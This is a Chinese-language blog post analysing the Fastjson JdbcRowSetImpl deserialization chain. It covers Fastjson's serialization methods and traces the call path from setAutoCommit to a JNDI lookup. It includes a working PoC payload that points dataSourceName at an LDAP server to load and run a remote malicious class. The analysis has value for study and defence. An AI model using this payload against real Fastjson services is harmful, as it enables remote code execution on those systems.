再审一遍Fastjson的第一条链子(JDBC的)
之前可能漏了一点细节
Fastjson,阿里巴巴的一个库,用于处理json和java对象之间的解析转换
常用序列化方法有
JSON.toJSONString:返回JSON字符串
JSON.toJSONBytes()返回byte数组
常用反序列化方法
parseObject()返回JsonObject类型的对象
parse()返回Object
parseArray()返回JsonArray类型的对象
JSON.toJavaObject()将JSON对象转换为java对象
JSON.writeJSONString()将JSON对象写入write流
各方法特性:
1.JSON.toJSONString
在JSON.toJSONString中
如果只传一个参数(要转换为json的java对象,比如下面的u1)
package demo;
import com.alibaba.fastjson.JSON;
import com.sun.xml.internal.ws.api.model.wsdl.WSDLOutput;
public class demo {
public static void main(String[] args) {
User u1=new User(18,01,"guest");
String json1 = JSON.toJSONString(u1);
System.out.println(json1);
}
}
则输出如下所示:
{“age”:18,“id”:1,“name”:“guest”}
如果传入第二个参数SerializerFeature.WriteClassName
在转换为json后,会把java对象的类型也写入
输出如下,多了一个type字段
{“@type”:“demo.User”,“age”:18,“id”:1,“name”:“guest”}
并且,JSON.toJSONString在调用过程中,一定会执行对象的get方法

2.JSON.parseObject
toJSONString是将java对象转换为json字符串
属于序列化操作
而parseObject是将json字符串转换为jsonObject对象
JSONObject jsonObject = JSON.parseObject(json2);
System.out.println(jsonObject);

parseObject在执行时分为两种情况
传入的json字符串是否带@type字段(序列化时有没有第二个参数SerializerFeature.WriteClassName)
带@type字段:
调用原对象的无参构造和get,set方法
不带@type字段:
不调用构造方法和get/set
3.JSON.parse
也是一个反序列化方法
和parseObject不同的是:parse将json解析为Object这个类型的对象
也就是所有对象的父类(任何类型的对象都继承它)
它的执行也分为两种情况
传入的json字符串是否带@type字段
带@type字段:
调用原对象的无参构造和set方法
不带@type字段:
不调用构造方法和get/set
完整的示例代码
User.java
package demo;
public class User {
int age;
String name;
int id;
public User() {
System.out.println("无参构造调用");
}
public User(int age, int id, String name) {
this.age = age;
this.id = id;
this.name = name;
System.out.println("全参构造调用");
}
public int getAge() {
System.out.println("getAge调用");
return age;
}
public void setAge(int age) {
System.out.println("setAge调用");
this.age = age;
}
public int getId() {
System.out.println("getId调用");
return id;
}
public void setId(int id) {
System.out.println("setId调用");
this.id = id;
}
public String getName() {
System.out.println("getName调用");
return name;
}
public void setName(String name) {
this.name = name;
System.out.println("setName调用");
}
}
demo.java
package demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class demo {
public static void main(String[] args) {
User u1=new User(18,01,"guest");
String json1 = JSON.toJSONString(u1);
System.out.println(json1);
System.out.println("================================================");
String json2 = JSON.toJSONString(u1, SerializerFeature.WriteClassName);
System.out.println(json2);
System.out.println("================================================");
JSONObject jsonObject = JSON.parseObject(json1);
System.out.println(jsonObject);
System.out.println("================================================");
Object obj = JSON.parse(json1);
System.out.println(obj);
System.out.println("================================================");
Object obj2 = JSON.parse(json2);
System.out.println(obj2);
}
}
了解完了用法
开始审链子
从poc倒推
package demo;
import com.alibaba.fastjson.JSON;
public class FastJSON_rce {
public static void main(String[] args) throws ClassNotFoundException {
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//允许使用rmi进行远程加载
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://10.107.200.43:1389/qrdr2m\"," +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
rmi和ldap是啥就不细说了,之前第一次审的时候有写jndi(rmi和ldap),就是一个远程加载类的服务
在服务端放一个class文件(.java的编译产物)
然后给出url,客户端即可通过invoke方法调用服务端的类
这里服务端放的是一个恶意类,被调用就直接弹计算器(验证rce)
我电脑重装了,只装了高版本jdk
rmi打不通,换了ldap,通了,弹计算器
为什么parse解析这段json就会触发calc呢?为什么type是com.sun.rowset.JdbcRowSetImpl呢?
开始分析
首先定位com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName,找它的get和set方法
package demo;
import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
public class FastJSON_rce {
public static void main(String[] args) throws ClassNotFoundException {
//System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//允许使用rmi进行远程加载
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://10.107.200.43:1389/qrdr2m\"," +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
直接在poc里面import这个类,然后按住ctrl,单击鼠标左键即可进入类内部
ctrl+f搜dataSourcename和AutoCommit的set

找到setDataSourcename
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
}
} else {
super.setDataSourceName(var1);
}
}
首先是判断当前dataSource是否为空
如果为空则赋值

在函数起始处打断点,看的更仔细一些
setDataSourceName的第一层if调用了getDataSourceName
注意,此时还没赋值
DataSourceName为空
不满足第一层if,进入else分支,直接调用setDataSourceName
给DataSourceName赋值,值为var1,也就是我们传入的url地址

再找setAutoCommit,同样,在起始处断点

完整debug一次

第一次停在setDataSourceName
把var1的值(jndi的地址)作为参数传递给setDataSourceName
步入setDataSourceName可以看到

前两个分支判断是否为空,不为空,直接将name(jndi地址)赋值给dataSource
然后一直步过,大概65下,来到第二个断点setAutoCommit
在json字符串中,autoCommit对应的值是true,conn为null
直接进入else分支
触发了一个connect方法,然后调用自身,把AutoCommit的值设置为true
先步入connect,看看内部
首先判断conn是否为空(当前是空的)
直接来到else if分支
对dataSourceName进行判断
这个在之前的执行已经有值了,是jndi的地址

到这里,lookup方法触发jndi请求
调用执行远程的恶意类
达到攻击成功的目的
函数调用栈
JSON.parseObject(String)
└── JavaBeanDeserializer.deserialze(...)
└── DefaultFieldDeserializer.parseField(...)
└── FieldDeserializer.setValue(Object, Object)
└── JdbcRowSetImpl.setAutoCommit(boolean)
└── JdbcRowSetImpl.connect()
└── InitialContext.lookup(getDataSourceName())
└── (远程类加载执行恶意代码)
评论(0)
暂无评论